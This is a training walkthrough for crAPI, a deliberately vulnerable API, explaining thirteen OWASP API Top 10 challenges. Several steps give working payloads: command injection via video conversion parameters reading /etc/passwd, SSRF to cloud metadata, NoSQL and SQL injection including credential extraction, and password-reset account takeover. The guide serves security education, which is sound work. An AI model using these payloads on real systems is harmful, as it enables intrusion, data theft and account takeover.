APIsec Streamlined crAPI Guide

About crAPI

crAPI (Completely Ridiculous API) is an intentionally vulnerable API application designed to help you learn and practice API security. This guide covers 13 challenges demonstrating vulnerabilities from the OWASP API Security Top 10.

Setup:

- crAPI URL: http://crapi2.apisec.ai
- Mailhog (for OTPs): http://crapi2.apisec.ai:8025
    - Mailhog is a fake email emulator to operate crapi OTP's

---

Challenge 1: Access Details of Another User's Vehicle

OWASP Category: API1:2023 - Broken Object Level Authorization (BOLA)

Vulnerability Description:
APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface for Object Level Access Control issues. Object level authorization checks should be considered in every function that accesses a data source using a user-supplied ID.

Endpoints:

- `GET /identity/api/v2/vehicle/{vehicleId}/location`
- `GET /identity/api/v2/user/dashboard`
- `GET /community/api/v2/community/posts/recent`

Steps to Exploit:

1. Log in as User A and navigate to dashboard
2. Find the request to `/identity/api/v2/user/dashboard` and note your vehicle UUID
3. Navigate to Community forum and find the request to `/community/api/v2/community/posts/recent`
4. Examine the response - `author` objects leak other users' `vehicleid` UUIDs
5. Navigate to your vehicle location page and intercept the request to `/identity/api/v2/vehicle/{vehicleId}/location`

6. Replace your `vehicleId` with another user's vehicle UUID obtained from the forum
7. Send the modified request to view the other user's vehicle location

---

Challenge 2: Access Mechanic Reports of Other Users

OWASP Category: API1:2023 - Broken Object Level Authorization (BOLA)

Vulnerability Description:
Many APIs use predictable, sequential identifiers for resources. Combined with missing authorization checks, this allows complete data exposure through simple ID enumeration.

Endpoint:

- `GET /workshop/api/mechanic/mechanic_report?report_id={id}`

Steps to Exploit:

1. Log in and add a vehicle to your account
2. Navigate to "Contact Mechanic" and submit a service request
3. Note the `report_link` in the response
4. Change the `report_id` parameter to different values (1, 2, 3, etc.)
5. Access all mechanic reports from other users

Challenge 3: Reset Password of Different User

OWASP Category: API2:2023 - Broken Authentication

Vulnerability Description:
Authentication mechanisms are often implemented incorrectly. In this case, the OTP verification endpoint doesn't properly validate which user is requesting the password reset.

Endpoints:

- `POST /identity/api/auth/forget-password`
- `POST /identity/api/auth/v3/check-otp` or `POST /identity/api/auth/v2/check-otp`

Steps to Exploit:

1. From the Community forum, note another user's email

2. Send a password reset request for that user:

```JSON
{  "email": "victim@example.com"}
```

3. Send a password reset for YOUR OWN email to get an OTP you can access
4. Check Mailhog (http://localhost:8025) for your OTP
5. Modify the check-otp request with the victim's email but YOUR OTP:

```JSON
{  "email": "victim@example.com",  "otp": "1234",  "password": "NewPassword123"}
```

6. The victim's password is now changed

Challenge 4: Find Leaked Sensitive Information of Other Users

OWASP Category: API3:2023 - Broken Object Property Level Authorization (Excessive Data Exposure)

Vulnerability Description:
APIs often return more data than necessary, exposing sensitive object properties. This occurs when developers return entire objects without filtering sensitive fields.

Endpoints:

- `GET /workshop/api/shop/orders/all`
- `GET /workshop/api/shop/orders/{order_id}`

Steps to Exploit:

1. Log in and navigate to the Shop section
2. Purchase an item to create an order
3. Navigate to "Past Orders" and examine the response to `GET /workshop/api/shop/orders/all`
4. Note the order ID in your response

5. Access other order IDs: `GET /workshop/api/shop/orders/8`, `GET /workshop/api/shop/orders/10`, etc.
6. Observe exposed data including other users' email addresses and phone numbers

---

Challenge 5: Find API Endpoint Leaking Video Internal Property

OWASP Category: API3:2023 - Broken Object Property Level Authorization (Excessive Data Exposure)

Vulnerability Description:
Internal implementation details and properties should never be exposed to end users. These properties might include database IDs, internal filenames, or processing parameters.

Endpoint:

- `POST /identity/api/v2/user/videos`

Steps to Exploit:

1. Log in and navigate to your profile
2. Upload a profile video
3. Examine the upload response carefully
4. Look for an internal property called `conversion_params`
5. Note this value for use in later challenges

Challenge 6: Delete Other Users' Videos

OWASP Category: API5:2023 - Broken Function Level Authorization

Vulnerability Description:
Administrative and privileged functions should require proper role checks. APIs often expose administrative functionality without properly verifying the user has permission to execute those functions.

Endpoint:

- `DELETE /identity/api/v2/admin/videos/{video_id}`

Steps to Exploit:

1. Upload a video to your profile and note the video_id
2. Delete your own video using the regular user endpoint: `DELETE /identity/api/v2/user/videos/{video_id}`
3. Discover the admin endpoint: `DELETE /identity/api/v2/admin/videos/{other_user_video_id}`
4. Find another user's video_id from their profile
5. Send the DELETE request to the admin endpoint with another user's video_id
6. The request succeeds even without admin privileges

Challenge 7: Modify Video Properties to Exploit Command Injection

OWASP Category: API8:2023 - Security Misconfiguration / Command Injection

Vulnerability Description:
The API accepts user-controlled parameters that are passed directly to system commands without sanitization. This is a chain attack using the information from Challenge 5.

Endpoints:

- `PUT /identity/api/v2/user/videos/{video_id}`
- `GET /identity/api/v2/user/videos/convert_video?video_id={id}`

Steps to Exploit:

1. Recall the `conversion_params` property from Challenge 5
2. Upload a video and note its video_id
3. Send a PUT request to update the video with malicious conversion parameters:

```JSON
{  "conversion_params": "-v codec h264; whoami"}
```

4. Trigger the conversion endpoint: `GET /identity/api/v2/user/videos/convert_video?video_id={id}`
5. Examine the response for command output
6. Try other commands: `ls -la`, `pwd`, `cat /etc/passwd`

Challenge 8: Get Item for Free (Exploit Mass Assignment)

OWASP Category: API3:2023 - Broken Object Property Level Authorization (Mass Assignment)

Vulnerability Description:
Mass Assignment occurs when an API automatically binds client-provided data to internal objects without proper filtering. Attackers can modify fields that shouldn't be user-controlled, such as prices, account balances, or order statuses.

Endpoint:

- `POST /workshop/api/shop/orders`

Steps to Exploit:

1. Browse the Shop and note item prices
2. Check your account credit
3. Intercept the order creation request
4. Add additional properties to the JSON body:

```
JSON
{  "product_id": 1,  "quantity": 1,  "status": "delivered"}
```

5. Or set quantity to 0:

```
JSON
{  "product_id": 1,  "quantity": 0}
```

6. Check your credit balance - you got the item without paying

---

Challenge 9: Get Refund Without Returning Item

OWASP Category: API6:2023 - Unrestricted Access to Sensitive Business Flows

Vulnerability Description:
APIs vulnerable to this risk expose business flows without proper validation. The returns process doesn't verify that the item was actually returned before issuing a refund.

Endpoints:

- `POST /workshop/api/shop/orders/return_order?order_id={id}`
- `PUT /workshop/api/shop/orders/{order_id}`

Steps to Exploit:

1. Place an order for an item
2. Initiate a return: `POST /workshop/api/shop/orders/return_order?order_id={id}`
3. Note the status changes to "return pending"
4. Use the shadow API endpoint: `PUT /workshop/api/shop/orders/{order_id}`
5. Update the order status:

```
JSON
{  "status": "returned"}
```

6. Your credit is refunded without actually returning the item

---

Challenge 10: Update Internal Video Properties

OWASP Category: API3:2023 - Broken Object Property Level Authorization (Mass Assignment)

Vulnerability Description:
Similar to Challenge 8, this demonstrates mass assignment targeting internal properties discovered in Challenge 5. This sets up the command injection in Challenge 7.

Endpoint:

- `PUT /identity/api/v2/user/videos/{video_id}`

Steps to Exploit:

1. Reference the internal property from Challenge 5: `conversion_params`
2. Upload a video and note the video_id
3. Send a PUT request to update the internal property:

```
JSON
{  "conversion_params": "MODIFIED_INTERNAL_VALUE",  "video_name": "my_video.mp4"}
```

4. Verify the property was changed by viewing the video details

---

Challenge 11: Server-Side Request Forgery (SSRF)

OWASP Category: API7:2023 - Server Side Request Forgery

Vulnerability Description:
SSRF flaws occur when an API fetches a remote resource without validating the user-supplied URI. The server acts as a proxy, making requests on behalf of the attacker, potentially accessing internal services or cloud metadata endpoints.

Endpoint:

- `POST /workshop/api/merchant/contact_mechanic`

Steps to Exploit:

1. Navigate to "Contact Mechanic" form
2. Intercept the POST request to `/workshop/api/merchant/contact_mechanic`
3. Observe the `mechanic_api` parameter:

```
JSON
{  "mechanic_api": "http://localhost:8888/workshop/api/mechanic/receive_report", "mechanic_code": "TRAC_MECH1",  "problem_details": "Engine trouble",  "vin": "0FOPP90TFEE927859"}
```

4. Change the `mechanic_api` value to an external URL:

```
JSON
{  "mechanic_api": "https://www.google.com"}
```

5. Examine the response - you'll see the target URL's content
6. Try other targets:
    - AWS metadata: `http://169.254.169.254/latest/meta-data/`
    - Internal services: `http://localhost:8025`

Challenge 12: Get Free Coupons (NoSQL Injection)

OWASP Category: Injection (Related to API8:2023 Security Misconfiguration)

Vulnerability Description:
NoSQL injection exploits the JSON-like query syntax of NoSQL databases. Attackers can inject query operators to bypass authentication or extract data.

Endpoint:

- `POST /community/api/v2/coupon/validate-coupon`

Steps to Exploit:

1. Navigate to Shop → Add Coupons
2. Intercept the validate-coupon request
3. Normal request:

```
JSON
{  "coupon_code": "TRAC075"}
```

4. Modify to use NoSQL operators:

```
JSON
{  "coupon_code": {"$ne": null}}
```

5. Or:

```
JSON
{  "coupon_code": {"$regex": ".*"}}
```

6. The query now matches any coupon, returning a valid coupon code
7. Use the returned coupon code to add credit to your account

---

Challenge 13: SQL Injection in Apply Coupon

OWASP Category: Injection (Related to API8:2023 Security Misconfiguration)

Vulnerability Description:
SQL injection occurs when user input is concatenated directly into SQL queries without sanitization. Attackers can inject malicious SQL code to bypass authentication, extract data, or modify data.

Endpoint:

- `POST /workshop/api/shop/apply_coupon`

Steps to Exploit:

1. First, complete Challenge 12 to get a valid coupon code
2. Go to Shop → Add Coupons in the web interface
3. Intercept the apply coupon request
4. Normal request:

```
JSON
{  "coupon_code": "TRAC075",  "amount": 75}
```

5. Test for SQL injection:

```
JSON
{  "coupon_code": "TRAC075' OR '1'='1",  "amount": 75}
```

6. For data extraction:

```
JSON
{  "coupon_code": "TRAC075' UNION SELECT username, password FROM
users--",  "amount": 75}
```

7. Successfully apply the coupon multiple times or with inflated amounts

---

Additional Resources

OWASP API Security Top 10:

- https://owasp.org/www-project-api-security/

crAPI Repository:

- https://github.com/OWASP/crAPI

API Security Learning:

- https://owasp.org/API-Security/
- https://portswigger.net/web-security